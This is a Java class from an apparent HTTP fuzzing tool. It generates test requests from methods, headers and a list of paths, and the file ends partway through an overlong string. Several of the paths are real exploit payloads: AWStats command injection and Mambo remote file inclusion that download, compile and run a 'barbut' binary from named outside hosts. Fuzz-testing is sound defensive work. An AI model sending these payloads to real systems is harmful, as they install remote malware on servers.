/*
 * Created on Oct 20, 2007
 *
 */
package org.seginfo.httpfuzzer.generation;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.Collection;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;

import org.seginfo.httpfuzzer.SimpleFuzzCase;
import org.seginfo.httpfuzzer.header.AttackStrategy;
import org.seginfo.httpfuzzer.header.BufferOverflowStrategy;
import org.seginfo.httpfuzzer.header.HeaderProperty;
import org.seginfo.httpfuzzer.header.impl.Accept;
import org.seginfo.httpfuzzer.header.impl.AcceptCharset;
import org.seginfo.httpfuzzer.header.impl.AcceptEncoding;
import org.seginfo.httpfuzzer.header.impl.AcceptLanguage;
import org.seginfo.httpfuzzer.header.impl.ContentMD5;
import org.seginfo.httpfuzzer.header.impl.Date;
import org.seginfo.httpfuzzer.header.impl.Expect;
import org.seginfo.httpfuzzer.header.impl.From;
import org.seginfo.httpfuzzer.header.impl.IfMatch;
import org.seginfo.httpfuzzer.header.impl.IfModifiedSince;
import org.seginfo.httpfuzzer.header.impl.IfNoneMatch;
import org.seginfo.httpfuzzer.header.impl.IfRange;
import org.seginfo.httpfuzzer.header.impl.IfUnmodifiedSince;
import org.seginfo.httpfuzzer.header.impl.Range;
import org.seginfo.httpfuzzer.header.impl.Referer;
import org.seginfo.httpfuzzer.header.impl.TE;
import org.seginfo.httpfuzzer.header.impl.Upgrade;
import org.seginfo.httpfuzzer.header.impl.UserAgent;
import org.seginfo.httpfuzzer.header.impl.Warning;

/**
 * @author Matu
 */
public class CasesGenerator {

	/**
	 * Default constructor
	 */
	public CasesGenerator() {
		//
	}
	
	/**
	 * @param count TODO
	 * @return
	 */
	public Iterator generateCases(int count, boolean fuzzMethod, boolean fuzzHTTPVersion) {
		
		BufferOverflowStrategy strategy = new BufferOverflowStrategy();
		
		/* Methods */
		Set methods = new HashSet();
		methods.add("GET");
		methods.add("POST");
		if (fuzzMethod) {
			methods.add(strategy.getStringAttack(256,513));
		}
		RandomSelector methodSelector = new UniformRandomSelector(methods); 
		
		/* Header properties */
		Set properties = new HashSet();
		properties.add(Accept.class);
		properties.add(AcceptCharset.class);
		properties.add(AcceptEncoding.class);
		properties.add(AcceptLanguage.class);
		properties.add(ContentMD5.class);
		properties.add(Date.class);
		properties.add(Expect.class);
		properties.add(From.class);
		//properties.add(IfMatch.class);
		//properties.add(IfModifiedSince.class);
		//properties.add(IfNoneMatch.class);
		//properties.add(IfRange.class);
		//properties.add(IfUnmodifiedSince.class);
		//properties.add(Range.class);
		properties.add(Referer.class);
		properties.add(TE.class);
		properties.add(Upgrade.class);
		properties.add(UserAgent.class);
		properties.add(Warning.class);
		RandomSelector propertiesSelector = new UniformRandomSelector(properties);
		
		/* Path selector */
		Set paths = new HashSet();
		paths.add("/");
		paths.add("/cgi-bin/textenv.pl?a=80&b=192.168.1.1");
		paths.add("/");
		paths.add("/cgi-bin/awstats.pl?configdir=|echo;cd%20/tmp;wget%20217.79.176.126/barbut;chmod%20755%20barbut;./barbut;echo|");
		paths.add("/");
		paths.add("/awstats/awstats.pl?configdir=|echo;cd%20/tmp;wget%20217.79.176.126/barbut;chmod%20755%20barbut;./barbut;echo|");
		paths.add("/");
		paths.add("/cgi-bin/awstats/awstats.pl?configdir=|echo;cd%20/tmp;wget%20217.79.176.126/barbut;chmod%20755%20barbut;./barbut;echo|");
		paths.add("/");
		paths.add("/awstats.pl?configdir=|echo;cd%20/tmp;wget%20217.79.176.126/barbut;chmod%20755%20barbut;./barbut;echo|");
		paths.add("/");
		paths.add("/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://crekom.com/cmd.gif");
		paths.add("/");
		paths.add("?=?&cmd=cd /tmp;killall -9 barbut;rm -f barbut.c;rm -f barbut;wget http://crekom.com/barbut.c;gcc barbut.c -o barbut;./barbut ;");
		paths.add("/");
		paths.add("rm -f barbut barbut.c");
		paths.add("/");
		paths.add("/mambo//index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://crekom.com/");
		paths.add("/");
		paths.add("cmd.gif?=?&cmd=cd /tmp;killall -9 barbut;rm -f barbut.c;rm -f barbut;wget http://crekom.com/barbut.c;gcc barbut.c -o barbut;./b");
		paths.add("/");
		paths.add("arbut ;rm -f barbut barbut.c");
		paths.add("/");
		paths.add("/index2.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://crekom.com/cmd.gi");
		paths.add("/");
		paths.add("f?=?&cmd=cd /tmp;killall -9 barbut;rm -f barbut.c;rm -f barbut;wget http://crekom.com/barbut.c;gcc barbut.c -o barbut;./barbut");
		paths.add("/");
		paths.add(";rm -f barbut barbut.c");
		paths.add("/");
		paths.add("/aksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehf");
		paths.add("/MUYLARGOaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8